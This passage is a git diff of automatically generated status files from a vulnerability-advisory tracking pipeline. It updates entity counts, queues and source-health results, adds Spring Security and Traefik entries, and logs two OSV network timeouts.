+++ b/08-threat-intel/generated/entity-completeness.json
@@ -1,12 +1,12 @@
 {
-  "generated_at": "2026-03-20T15:46:05+00:00",
-  "cataloged_entity_total": 97,
+  "generated_at": "2026-03-21T13:36:59+00:00",
+  "cataloged_entity_total": 99,
   "candidate_entity_total": 17,
   "history_full_complete_count": 40,
-  "latest_green_count": 97,
-  "workflow_complete_count": 97,
-  "version_mapped_count": 49,
-  "official_source_covered_count": 97,
+  "latest_green_count": 99,
+  "workflow_complete_count": 99,
+  "version_mapped_count": 51,
+  "official_source_covered_count": 99,
   "plugin_history_full_count": 4,
   "systems": [
     {
@@ -1335,21 +1335,31 @@
     {
       "system_id": "spring-security",
       "display_name": "Spring Security",
-      "cataloged_entity_total": 1,
-      "child_entity_total": 0,
+      "cataloged_entity_total": 2,
+      "child_entity_total": 1,
       "candidate_entity_total": 0,
-      "workflow_complete_count": 1,
-      "version_mapped_count": 0,
-      "official_source_covered_count": 1,
+      "workflow_complete_count": 2,
+      "version_mapped_count": 1,
+      "official_source_covered_count": 2,
       "history_full_complete_count": 0,
-      "latest_green_count": 1,
+      "latest_green_count": 2,
       "version_gap_entity_count": 1,
       "workflow_gap_entity_count": 0,
       "plugin_total": 0,
       "entity_type_counts": {
-        "system": 1
+        "system": 1,
+        "project": 1
       },
-      "top_entities": [],
+      "top_entities": [
+        {
+          "entity_id": "spring-security--project--org-springframework-security-spring-security-web",
+          "entity_type": "project",
+          "display_name": "org.springframework.security:spring-security-web",
+          "advisory_count": 1,
+          "history_backfill_status": "seeded",
+          "latest_sync_status": "green"
+        }
+      ],
       "backlog_preview": []
     },
     {
@@ -1442,29 +1452,38 @@
     {
       "system_id": "traefik",
       "display_name": "Traefik",
-      "cataloged_entity_total": 2,
-      "child_entity_total": 1,
+      "cataloged_entity_total": 3,
+      "child_entity_total": 2,
       "candidate_entity_total": 0,
-      "workflow_complete_count": 2,
-      "version_mapped_count": 1,
-      "official_source_covered_count": 2,
+      "workflow_complete_count": 3,
+      "version_mapped_count": 2,
+      "official_source_covered_count": 3,
       "history_full_complete_count": 1,
-      "latest_green_count": 2,
+      "latest_green_count": 3,
       "version_gap_entity_count": 1,
       "workflow_gap_entity_count": 0,
-      "plugin_total": 0,
+      "plugin_total": 1,
       "entity_type_counts": {
         "system": 1,
-        "repo": 1
+        "repo": 1,
+        "extension": 1
       },
       "top_entities": [
         {
           "entity_id": "traefik--repo--github-com-traefik-traefik-v3",
           "entity_type": "repo",
           "display_name": "traefik / traefik / v3",
-          "advisory_count": 16,
+          "advisory_count": 17,
           "history_backfill_status": "complete",
           "latest_sync_status": "green"
+        },
+        {
+          "entity_id": "traefik--extension--github-com-traefik-traefik-v3",
+          "entity_type": "extension",
+          "display_name": "traefik / traefik / v3",
+          "advisory_count": 1,
+          "history_backfill_status": "seeded",
+          "latest_sync_status": "green"
         }
       ],
       "backlog_preview": []
@@ -1709,7 +1728,7 @@
   ],
   "queues": {
     "discovery_queue": 17,
-    "history_queue": 15,
+    "history_queue": 17,
     "latest_queue": 0,
     "workflow_queue": 2176
   }
diff --git a/08-threat-intel/generated/entity-discovery-backlog.md b/08-threat-intel/generated/entity-discovery-backlog.md
index 34d3b9a2..940a2397 100644
--- a/08-threat-intel/generated/entity-discovery-backlog.md
+++ b/08-threat-intel/generated/entity-discovery-backlog.md
@@ -1,6 +1,6 @@
 # 分层实体发现 Backlog
 
-- 生成时间: `2026-03-20T15:46:05+00:00`
+- 生成时间: `2026-03-21T13:36:59+00:00`
 - 待编目数量: `17`
 
 | candidate_id | root_system | entity_type | risk | reason | waiting_for | source |
diff --git a/08-threat-intel/generated/entity-queues.json b/08-threat-intel/generated/entity-queues.json
index 0034f68d..0d7833c6 100644
--- a/08-threat-intel/generated/entity-queues.json
+++ b/08-threat-intel/generated/entity-queues.json
@@ -1,5 +1,5 @@
 {
-  "generated_at": "2026-03-20T15:46:05+00:00",
+  "generated_at": "2026-03-21T13:36:59+00:00",
   "discovery_queue": {
     "count": 17,
     "items": [
@@ -210,7 +210,7 @@
     ]
   },
   "history_queue": {
-    "count": 15,
+    "count": 17,
     "items": [
       {
         "entity_id": "caddy--extension--github-com-caddyserver-caddy-v2",
@@ -289,6 +289,20 @@
         "history_policy": "history-full",
         "history_backfill_status": "seeded"
       },
+      {
+        "entity_id": "spring-security--project--org-springframework-security-spring-security-web",
+        "display_name": "org.springframework.security:spring-security-web",
+        "root_system_id": "spring-security",
+        "history_policy": "history-full",
+        "history_backfill_status": "seeded"
+      },
+      {
+        "entity_id": "traefik--extension--github-com-traefik-traefik-v3",
+        "display_name": "traefik / traefik / v3",
+        "root_system_id": "traefik",
+        "history_policy": "history-full",
+        "history_backfill_status": "seeded"
+      },
       {
         "entity_id": "vite--module--vite",
         "display_name": "vite",
diff --git a/08-threat-intel/generated/latest-ingest.md b/08-threat-intel/generated/latest-ingest.md
index b26a13f7..b1b6863e 100644
--- a/08-threat-intel/generated/latest-ingest.md
+++ b/08-threat-intel/generated/latest-ingest.md
@@ -1,13 +1,18 @@
 # 最新同步摘要
 
-- 渲染时间: `2026-03-20T15:46:06+00:00`
+- 渲染时间: `2026-03-21T13:36:59+00:00`
 - 系统数量: `62`
-- Advisory 数量: `2355`
-- 已编目实体数量: `97`
+- Advisory 数量: `2358`
+- 已编目实体数量: `99`
 - 待编目 backlog 数量: `17`
-- 重点 Markdown 数量: `157`
+- 重点 Markdown 数量: `158`
 - Run Bundle 数量: `89`
-- 新增记录: `0`
+- 新增记录: `3`
 - 更新记录: `0`
 - Triage 数量: `1175`
-- 失败的 source adapter: `0`
+- 失败的 source adapter: `2`
+
+## 失败列表
+
+- directus::OSV Directus::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Read timed out. (read timeout=30)
+- moodle::OSV Moodle::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Read timed out. (read timeout=30)
diff --git a/08-threat-intel/generated/monitor-summary.json b/08-threat-intel/generated/monitor-summary.json
index 8ac892df..ab62d84e 100644
--- a/08-threat-intel/generated/monitor-summary.json
+++ b/08-threat-intel/generated/monitor-summary.json
@@ -1,10 +1,10 @@
 {
-  "generated_at": "2026-03-20T15:45:58+00:00",
+  "generated_at": "2026-03-21T12:51:08+00:00",
   "active_source_count": 101,
-  "green_source_count": 101,
-  "source_failure_count": 0,
-  "open_alert_count": 0,
-  "resolved_alert_count": 101,
+  "green_source_count": 26,
+  "source_failure_count": 75,
+  "open_alert_count": 75,
+  "resolved_alert_count": 26,
   "last_fully_green_run": "2026-03-20T15:45:58+00:00",
   "source_catalog": {
     "system_count": 62,
@@ -12,10 +12,13 @@
     "retired_source_count": 78
   },
   "ingest": {
-    "new_count": 0,
+    "new_count": 3,
     "updated_count": 0,
-    "failure_count": 0,
-    "systems_touched": []
+    "failure_count": 2,
+    "systems_touched": [
+      "spring-security",
+      "traefik"
+    ]
   },
   "validation": {
     "passed": true,
@@ -23,11 +26,11 @@
     "errors": []
   },
   "entity_coverage": {
-    "cataloged_entity_total": 97,
+    "cataloged_entity_total": 99,
     "candidate_entity_total": 17,
     "history_full_complete_count": 40,
-    "workflow_complete_count": 97,
-    "version_mapped_count": 49,
-    "official_source_covered_count": 97
+    "workflow_complete_count": 99,
+    "version_mapped_count": 51,
+    "official_source_covered_count": 99
   }
 }
diff --git a/08-threat-intel/generated/run-summary.json b/08-threat-intel/generated/run-summary.json
index 88603f32..2292e2fd 100644
--- a/08-threat-intel/generated/run-summary.json
+++ b/08-threat-intel/generated/run-summary.json
@@ -1,14 +1,46 @@
 {
-  "generated_at": "2026-03-20T15:46:06+00:00",
+  "generated_at": "2026-03-21T13:36:59+00:00",
   "system_count": 62,
-  "advisory_count": 2355,
-  "cataloged_entity_total": 97,
+  "advisory_count": 2358,
+  "cataloged_entity_total": 99,
   "candidate_entity_total": 17,
-  "markdown_count": 157,
-  "new_count": 0,
+  "markdown_count": 158,
+  "new_count": 3,
   "updated_count": 0,
-  "systems_touched": [],
+  "systems_touched": [
+    "spring-security",
+    "traefik"
+  ],
   "triage_count": 1175,
   "run_bundle_count": 89,
-  "failures": []
+  "failures": [
+    {
+      "system_id": "directus",
+      "display_name": "Directus",
+      "source_name": "OSV Directus",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ReadTimeout",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Read timed out. (read timeout=30)",
+      "status_code": null,
+      "url": "",
+      "summary": "directus::OSV Directus::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Read timed out. (read timeout=30)",
+      "elapsed_seconds": 92.294
+    },
+    {
+      "system_id": "moodle",
+      "display_name": "Moodle",
+      "source_name": "OSV Moodle",
+      "source_kind": "osv-batch",
+      "source_bucket": "ecosystem_sources",
+      "category": "network",
+      "exception": "ReadTimeout",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Read timed out. (read timeout=30)",
+      "status_code": null,
+      "url": "",
+      "summary": "moodle::OSV Moodle::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Read timed out. (read timeout=30)",
+      "elapsed_seconds": 92.38
+    }
+  ]
 }
diff --git a/08-threat-intel/generated/source-catalog-audit.json b/08-threat-intel/generated/source-catalog-audit.json
index 951fee0f..df231c3a 100644
--- a/08-threat-intel/generated/source-catalog-audit.json
+++ b/08-threat-intel/generated/source-catalog-audit.json
@@ -1,5 +1,5 @@
 {
-  "generated_at": "2026-03-20T15:45:44+00:00",
+  "generated_at": "2026-03-21T09:17:05+00:00",
   "system_count": 62,
   "source_count": 179,
   "active_source_count": 101,
diff --git a/08-threat-intel/generated/source-catalog-audit.md b/08-threat-intel/generated/source-catalog-audit.md
index 2d377f10..21788d46 100644
--- a/08-threat-intel/generated/source-catalog-audit.md
+++ b/08-threat-intel/generated/source-catalog-audit.md
@@ -1,6 +1,6 @@
 # Source Catalog Audit
 
-- generated_at: `2026-03-20T15:45:44+00:00`
+- generated_at: `2026-03-21T09:17:05+00:00`
 - systems: `62`
 - sources: `179`
 - active_sources: `101`
diff --git a/08-threat-intel/generated/source-health.json b/08-threat-intel/generated/source-health.json
index eb0b5abe..f85e1efc 100644
--- a/08-threat-intel/generated/source-health.json
+++ b/08-threat-intel/generated/source-health.json
@@ -1,617 +1,16 @@
 {
-  "generated_at": "2026-03-20T15:45:58+00:00",
+  "generated_at": "2026-03-21T12:51:08+00:00",
   "active_source_count": 101,
-  "green_source_count": 101,
-  "failure_count": 0,
-  "all_green": true,
+  "green_source_count": 26,
+  "failure_count": 75,
+  "all_green": false,
   "last_fully_green_run": "2026-03-20T15:45:58+00:00",
-  "retries_performed": 0,
+  "retries_performed": 101,
   "probes": [
-    {
-      "system_id": "adminer",
-      "source_name": "OSV Adminer",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 8.815,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "adobe-commerce",
-      "source_name": "Adobe Magento Security Index",
-      "source_kind": "vendor-index",
-      "elapsed_seconds": 2.717,
-      "kind": "vendor-index",
-      "items_seen": 46
-    },
-    {
-      "system_id": "angular",
-      "source_name": "OSV Angular",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 5.439,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "apache-httpd",
-      "source_name": "Apache HTTPD Security",
-      "source_kind": "html-links",
-      "elapsed_seconds": 8.948,
-      "kind": "html-links",
-      "items_seen": 182
-    },
-    {
-      "system_id": "apache-httpd",
-      "source_name": "CISA KEV Apache HTTPD",
-      "source_kind": "kev-json",
-      "elapsed_seconds": 7.344,
-      "kind": "kev-json",
-      "items_seen": 1551
-    },
-    {
-      "system_id": "apache-tomcat",
-      "source_name": "Apache Tomcat Security",
-      "source_kind": "html-links",
-      "elapsed_seconds": 8.311,
-      "kind": "html-links",
-      "items_seen": 270
-    },
-    {
-      "system_id": "apache-tomcat",
-      "source_name": "CISA KEV Tomcat",
-      "source_kind": "kev-json",
-      "elapsed_seconds": 7.357,
-      "kind": "kev-json",
-      "items_seen": 1551
-    },
-    {
-      "system_id": "aspnet-core",
-      "source_name": "OSV ASP.NET Core",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 8.584,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "astro",
-      "source_name": "OSV Astro",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 6.5,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "caddy",
-      "source_name": "OSV Caddy",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 8.477,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "directus",
-      "source_name": "Directus GitHub Advisories",
-      "source_kind": "html-links",
-      "elapsed_seconds": 3.623,
-      "kind": "html-links",
-      "items_seen": 127
-    },
-    {
-      "system_id": "directus",
-      "source_name": "OSV Directus",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 1.9,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "discourse",
-      "source_name": "Discourse Release Notes RSS",
-      "source_kind": "rss-feed",
-      "elapsed_seconds": 5.914,
-      "kind": "rss-feed",
-      "items_seen": 30
-    },
-    {
-      "system_id": "discourse",
-      "source_name": "Discourse Security RSS",
-      "source_kind": "rss-feed",
-      "elapsed_seconds": 1.856,
-      "kind": "rss-feed",
-      "items_seen": 3
-    },
-    {
-      "system_id": "discourse",
-      "source_name": "OSV Discourse",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 2.956,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "django",
-      "source_name": "Django Security Releases Archive",
-      "source_kind": "vendor-index",
-      "elapsed_seconds": 8.031,
-      "kind": "vendor-index",
-      "items_seen": 1276
-    },
-    {
-      "system_id": "django",
-      "source_name": "Django Security Weblog",
-      "source_kind": "vendor-index",
-      "elapsed_seconds": 7.36,
-      "kind": "vendor-index",
-      "items_seen": 332
-    },
-    {
-      "system_id": "django",
-      "source_name": "OSV Django",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 9.135,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "drupal",
-      "source_name": "Drupal Security Advisories RSS",
-      "source_kind": "rss-feed",
-      "elapsed_seconds": 2.019,
-      "kind": "rss-feed",
-      "items_seen": 20
-    },
-    {
-      "system_id": "drupal",
-      "source_name": "OSV Drupal",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 4.011,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "echo",
-      "source_name": "OSV Echo",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 8.154,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "esbuild",
-      "source_name": "OSV esbuild",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 6.553,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "express",
-      "source_name": "OSV Express",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 5.731,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "fastify",
-      "source_name": "OSV Fastify",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 7.344,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "flask",
-      "source_name": "OSV Flask",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 7.6,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "ghost",
-      "source_name": "Ghost GitHub Advisories",
-      "source_kind": "html-links",
-      "elapsed_seconds": 5.314,
-      "kind": "html-links",
-      "items_seen": 119
-    },
-    {
-      "system_id": "ghost",
-      "source_name": "OSV Ghost",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 1.851,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "gin",
-      "source_name": "OSV Gin",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 8.564,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "gitea",
-      "source_name": "OSV Gitea",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 9.944,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "gitlab-ce",
-      "source_name": "GitLab Advisory Database",
-      "source_kind": "html-links",
-      "elapsed_seconds": 9.337,
-      "kind": "html-links",
-      "items_seen": 5
-    },
-    {
-      "system_id": "gitlab-ce",
-      "source_name": "GitLab Security Releases Atom",
-      "source_kind": "atom-feed",
-      "elapsed_seconds": 14.369,
-      "kind": "atom-feed",
-      "items_seen": 186
-    },
-    {
-      "system_id": "grafana",
-      "source_name": "CISA KEV Grafana",
-      "source_kind": "kev-json",
-      "elapsed_seconds": 8.303,
-      "kind": "kev-json",
-      "items_seen": 1551
-    },
-    {
-      "system_id": "grafana",
-      "source_name": "Grafana Security Advisories",
-      "source_kind": "html-links",
-      "elapsed_seconds": 10.747,
-      "kind": "html-links",
-      "items_seen": 159
-    },
-    {
-      "system_id": "hapi",
-      "source_name": "OSV Hapi",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 6.268,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "haproxy",
-      "source_name": "HAProxy Blog Feed",
-      "source_kind": "rss-feed",
-      "elapsed_seconds": 9.659,
-      "kind": "rss-feed",
-      "items_seen": 10
-    },
-    {
-      "system_id": "jenkins",
-      "source_name": "Jenkins Security Advisories RSS",
-      "source_kind": "rss-feed",
-      "elapsed_seconds": 9.727,
-      "kind": "rss-feed",
-      "items_seen": 96
-    },
-    {
-      "system_id": "joomla",
-      "source_name": "Joomla Security Centre",
-      "source_kind": "html-links",
-      "elapsed_seconds": 2.006,
-      "kind": "html-links",
-      "items_seen": 139
-    },
-    {
-      "system_id": "joomla",
-      "source_name": "OSV Joomla",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 3.21,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "kibana",
-      "source_name": "Elastic Security Announcements RSS",
-      "source_kind": "rss-feed",
-      "elapsed_seconds": 10.238,
-      "kind": "rss-feed",
-      "items_seen": 25
-    },
-    {
-      "system_id": "koa",
-      "source_name": "OSV Koa",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 7.928,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "laravel",
-      "source_name": "OSV Laravel",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 7.44,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "magento-open-source",
-      "source_name": "Magento GitHub Advisories",
-      "source_kind": "html-links",
-      "elapsed_seconds": 5.552,
-      "kind": "html-links",
-      "items_seen": 99
-    },
-    {
-      "system_id": "magento-open-source",
-      "source_name": "OSV Magento Open Source",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 3.052,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "magento-open-source",
-      "source_name": "Sansec Research",
-      "source_kind": "html-links",
-      "elapsed_seconds": 3.215,
-      "kind": "html-links",
-      "items_seen": 134
-    },
-    {
-      "system_id": "mattermost",
-      "source_name": "Mattermost Security Updates JSON",
-      "source_kind": "json-feed",
-      "elapsed_seconds": 10.401,
-      "kind": "json-feed",
-      "items_seen": 594
-    },
-    {
-      "system_id": "mattermost",
-      "source_name": "OSV Mattermost",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 10.489,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "mediawiki",
-      "source_name": "MediaWiki Announce RSS",
-      "source_kind": "rss-feed",
-      "elapsed_seconds": 2.538,
-      "kind": "rss-feed",
-      "items_seen": 30
-    },
-    {
-      "system_id": "mediawiki",
-      "source_name": "OSV MediaWiki",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 2.656,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "medusa",
-      "source_name": "OSV Medusa",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 4.961,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "moodle",
-      "source_name": "OSV Moodle",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 5.735,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "nestjs",
-      "source_name": "OSV NestJS",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 6.034,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "nextjs",
-      "source_name": "OSV Next.js",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 5.172,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "nginx",
-      "source_name": "CISA KEV NGINX",
-      "source_kind": "kev-json",
-      "elapsed_seconds": 7.246,
-      "kind": "kev-json",
-      "items_seen": 1551
-    },
-    {
-      "system_id": "nginx",
-      "source_name": "NGINX Security Advisories",
-      "source_kind": "html-links",
-      "elapsed_seconds": 8.305,
-      "kind": "html-links",
-      "items_seen": 138
-    },
-    {
-      "system_id": "nodejs",
-      "source_name": "CISA KEV Node.js",
-      "source_kind": "kev-json",
-      "elapsed_seconds": 7.133,
-      "kind": "kev-json",
-      "items_seen": 1551
-    },
-    {
-      "system_id": "nodejs",
-      "source_name": "Node.js Security Releases",
-      "source_kind": "html-links",
-      "elapsed_seconds": 7.492,
-      "kind": "html-links",
-      "items_seen": 74
-    },
-    {
-      "system_id": "nuxt",
-      "source_name": "OSV Nuxt",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 5.22,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "opencart",
-      "source_name": "OSV OpenCart",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 4.373,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "opencart",
-      "source_name": "OpenCart Releases",
-      "source_kind": "html-links",
-      "elapsed_seconds": 7.974,
-      "kind": "html-links",
-      "items_seen": 1500
-    },
-    {
-      "system_id": "openmage",
-      "source_name": "OSV OpenMage",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 3.164,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "openmage",
-      "source_name": "OpenMage GitHub Advisories",
-      "source_kind": "html-links",
-      "elapsed_seconds": 5.279,
-      "kind": "html-links",
-      "items_seen": 125
-    },
-    {
-      "system_id": "phpmyadmin",
-      "source_name": "OSV phpMyAdmin",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 9.419,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "phpmyadmin",
-      "source_name": "phpMyAdmin Security Page",
-      "source_kind": "html-links",
-      "elapsed_seconds": 8.568,
-      "kind": "html-links",
-      "items_seen": 262
-    },
-    {
-      "system_id": "prestashop",
-      "source_name": "Friends Of Presta Security",
-      "source_kind": "html-links",
-      "elapsed_seconds": 4.179,
-      "kind": "html-links",
-      "items_seen": 38
-    },
-    {
-      "system_id": "prestashop",
-      "source_name": "GitHub PrestaShop Advisories",
-      "source_kind": "html-links",
-      "elapsed_seconds": 6.204,
-      "kind": "html-links",
-      "items_seen": 127
-    },
-    {
-      "system_id": "prestashop",
-      "source_name": "OSV PrestaShop",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 3.982,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "prestashop",
-      "source_name": "PrestaShop Security Page",
-      "source_kind": "html-links",
-      "elapsed_seconds": 5.147,
-      "kind": "html-links",
-      "items_seen": 60
-    },
-    {
-      "system_id": "rails",
-      "source_name": "OSV Rails",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 7.794,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "react",
-      "source_name": "OSV React",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 4.695,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "redmine",
-      "source_name": "OSV Redmine",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 9.523,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "redmine",
-      "source_name": "Redmine Security Advisories",
-      "source_kind": "html-links",
-      "elapsed_seconds": 11.163,
-      "kind": "html-links",
-      "items_seen": 371
-    },
-    {
-      "system_id": "saleor",
-      "source_name": "GitHub Saleor Advisories",
-      "source_kind": "html-links",
-      "elapsed_seconds": 6.769,
-      "kind": "html-links",
-      "items_seen": 120
-    },
-    {
-      "system_id": "saleor",
-      "source_name": "OSV Saleor",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 4.633,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "shopware",
-      "source_name": "OSV Shopware",
-      "source_kind": "osv-batch",
-      "elapsed_seconds": 4.5,
-      "kind": "osv-batch",
-      "items_seen": 1
-    },
-    {
-      "system_id": "shopware",
-      "source_name": "Shopware Security Advisories",
-      "source_kind": "html-links",
-      "elapsed_seconds": 7.029,
-      "kind": "html-links",
-      "items_seen": 129
-    },
     {
       "system_id": "spring-boot",
       "source_name": "OSV Spring Boot",
       "source_kind": "osv-batch",
-      "elapsed_seconds": 7.246,
       "kind": "osv-batch",
       "items_seen": 1
     },
@@ -619,7 +18,6 @@
       "system_id": "spring-boot",
       "source_name": "Spring Security Advisories",
       "source_kind": "html-links",
-      "elapsed_seconds": 8.829,
       "kind": "html-links",
       "items_seen": 118
     },
@@ -627,7 +25,6 @@
       "system_id": "spring-framework",
       "source_name": "OSV Spring Framework",
       "source_kind": "osv-batch",
-      "elapsed_seconds": 7.046,
       "kind": "osv-batch",
       "items_seen": 1
     },
@@ -635,7 +32,6 @@
       "system_id": "spring-framework",
       "source_name": "Spring Security Advisories",
       "source_kind": "html-links",
-      "elapsed_seconds": 8.829,
       "kind": "html-links",
       "items_seen": 118
     },
@@ -643,7 +39,6 @@
       "system_id": "spring-security",
       "source_name": "OSV Spring Security",
       "source_kind": "osv-batch",
-      "elapsed_seconds": 6.948,
       "kind": "osv-batch",
       "items_seen": 1
     },
@@ -651,7 +46,6 @@
       "system_id": "spring-security",
       "source_name": "Spring Security Advisories",
       "source_kind": "html-links",
-      "elapsed_seconds": 8.829,
       "kind": "html-links",
       "items_seen": 118
     },
@@ -659,7 +53,6 @@
       "system_id": "strapi",
       "source_name": "OSV Strapi",
       "source_kind": "osv-batch",
-      "elapsed_seconds": 1.851,
       "kind": "osv-batch",
       "items_seen": 1
     },
@@ -667,7 +60,6 @@
       "system_id": "strapi",
       "source_name": "Strapi GitHub Advisories",
       "source_kind": "html-links",
-      "elapsed_seconds": 3.474,
       "kind": "html-links",
       "items_seen": 124
     },
@@ -675,7 +67,6 @@
       "system_id": "sveltekit",
       "source_name": "OSV SvelteKit",
       "source_kind": "osv-batch",
-      "elapsed_seconds": 6.197,
       "kind": "osv-batch",
       "items_seen": 1
     },
@@ -683,7 +74,6 @@
       "system_id": "symfony",
       "source_name": "OSV Symfony",
       "source_kind": "osv-batch",
-      "elapsed_seconds": 7.967,
       "kind": "osv-batch",
       "items_seen": 1
     },
@@ -691,7 +81,6 @@
       "system_id": "traefik",
       "source_name": "OSV Traefik",
       "source_kind": "osv-batch",
-      "elapsed_seconds": 8.618,
       "kind": "osv-batch",
       "items_seen": 1
     },
@@ -699,7 +88,6 @@
       "system_id": "undici",
       "source_name": "OSV Undici",
       "source_kind": "osv-batch",
-      "elapsed_seconds": 6.529,
       "kind": "osv-batch",
       "items_seen": 1
     },
@@ -707,7 +95,6 @@
       "system_id": "vite",
       "source_name": "OSV Vite",
       "source_kind": "osv-batch",
-      "elapsed_seconds": 5.501,
       "kind": "osv-batch",
       "items_seen": 1
     },
@@ -715,7 +102,6 @@
       "system_id": "vue",
       "source_name": "OSV Vue",
       "source_kind": "osv-batch",
-      "elapsed_seconds": 5.798,
       "kind": "osv-batch",
       "items_seen": 1
     },
@@ -723,7 +109,6 @@
       "system_id": "webpack",
       "source_name": "OSV webpack",
       "source_kind": "osv-batch",
-      "elapsed_seconds": 6.55,
       "kind": "osv-batch",
       "items_seen": 1
     },
@@ -731,7 +116,6 @@
       "system_id": "werkzeug",
       "source_name": "OSV Werkzeug",
       "source_kind": "osv-batch",
-      "elapsed_seconds": 7.655,
       "kind": "osv-batch",
       "items_seen": 1
     },
@@ -739,7 +123,6 @@
       "system_id": "woocommerce",
       "source_name": "GitHub WooCommerce Advisories",
       "source_kind": "html-links",
-      "elapsed_seconds": 5.838,
       "kind": "html-links",
       "items_seen": 107
     },
@@ -747,7 +130,6 @@
       "system_id": "woocommerce",
       "source_name": "OSV WooCommerce",
       "source_kind": "osv-batch",
-      "elapsed_seconds": 3.582,
       "kind": "osv-batch",
       "items_seen": 1
     },
@@ -755,7 +137,6 @@
       "system_id": "woocommerce",
       "source_name": "Patchstack Database",
       "source_kind": "html-links",
-      "elapsed_seconds": 2.652,
       "kind": "html-links",
       "items_seen": 193
     },
@@ -763,7 +144,6 @@
       "system_id": "woocommerce",
       "source_name": "Woo Developer Advisories",
       "source_kind": "html-links",
-      "elapsed_seconds": 3.315,
       "kind": "html-links",
       "items_seen": 121
     },
@@ -771,7 +151,6 @@
       "system_id": "woocommerce",
       "source_name": "Wordfence Vulnerability Database",
       "source_kind": "html-links",
-      "elapsed_seconds": 2.652,
       "kind": "html-links",
       "items_seen": 0
     },
@@ -779,7 +158,6 @@
       "system_id": "wordpress",
       "source_name": "Patchstack Database",
       "source_kind": "html-links",
